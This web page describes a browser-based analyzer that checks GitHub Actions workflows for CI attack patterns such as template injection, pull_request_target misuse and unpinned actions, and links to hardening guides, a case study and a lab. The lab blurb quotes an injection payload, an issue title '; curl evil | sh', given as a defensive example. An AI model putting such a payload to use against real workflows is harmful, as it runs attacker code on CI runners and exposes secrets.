GitHub Actions workflow analyzer
Paste a GitHub Actions workflow and find the patterns behind real CI compromises: privileged triggers that run pull request code, script injection, actions pinned to a movable tag, broad token permissions, inherited secrets, persisted credentials, self-hosted runners and cache poisoning.
Analyze a workflow
Paste a workflow from .github/workflows/, or a composite action’saction.yml. It is parsed and checked in this browser; nothing is fetched or sent.
Loading the local analyzer… If this remains visible, refresh the page.
Workflow report
| Finding | Severity | Why it matters and what to do |
|---|
The checks follow the audit classes of zizmor and see only this file: not the code of the actions it calls, the repository’s settings or its default token permissions. Run zizmor or actionlint in CI to check every change.
What is checked
- dangerous-triggers: pull_request_target, workflow_run and issue_comment, and jobs under them that check out or fetch pull request code or download the triggering run’s artifacts
- template-injection: ${{ }} expressions in run: steps and actions/github-script whose values an outsider controls (titles, bodies, branch names, commit messages) or that carry text from inputs and outputs
- unpinned-uses: actions, reusable workflows and docker:// images not pinned to a full commit SHA or digest, with the incidents where tags were moved
- excessive-permissions: default token permissions, write-all and read-all, and write scopes granted to every job
- secrets-inherit, artipacked (checkout without persist-credentials: false), self-hosted-runner and github-env
- cache-poisoning: release and publishing jobs that restore a cache, and cache-mode: write under untrusted triggers
Source specifications
- zizmor audit documentation
- GitHub Docs: Secure use reference for GitHub Actions
- GitHub Docs: workflow syntax (permissions and cache-mode)
- Nx advisory GHSA-cxm3-wv7p-598c (pull request title injection)
- ultralytics/actions advisory GHSA-7x29-qqmq-v6qc (branch name injection)
- tj-actions/changed-files advisory GHSA-mrrh-fwg8-r2c3 (CVE-2025-30066)
Guides and practice
All toolsHarden GitHub Actions against workflow and supply-chain attacks
Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.
Keep untrusted CI work outside the release boundary
Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.
Case study: the tj-actions/changed-files compromise (CVE-2025-30066)
In March 2025 an attacker moved the version tags of a popular GitHub Action, and of a reviewdog action before it, to code that printed CI secrets into build logs. This case study traces the token chain back to one pull_request_target workflow, sizes the exposure, and shows how it was caught and which controls held.
Actions injection lab: Flag GitHub Actions expression injection
A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.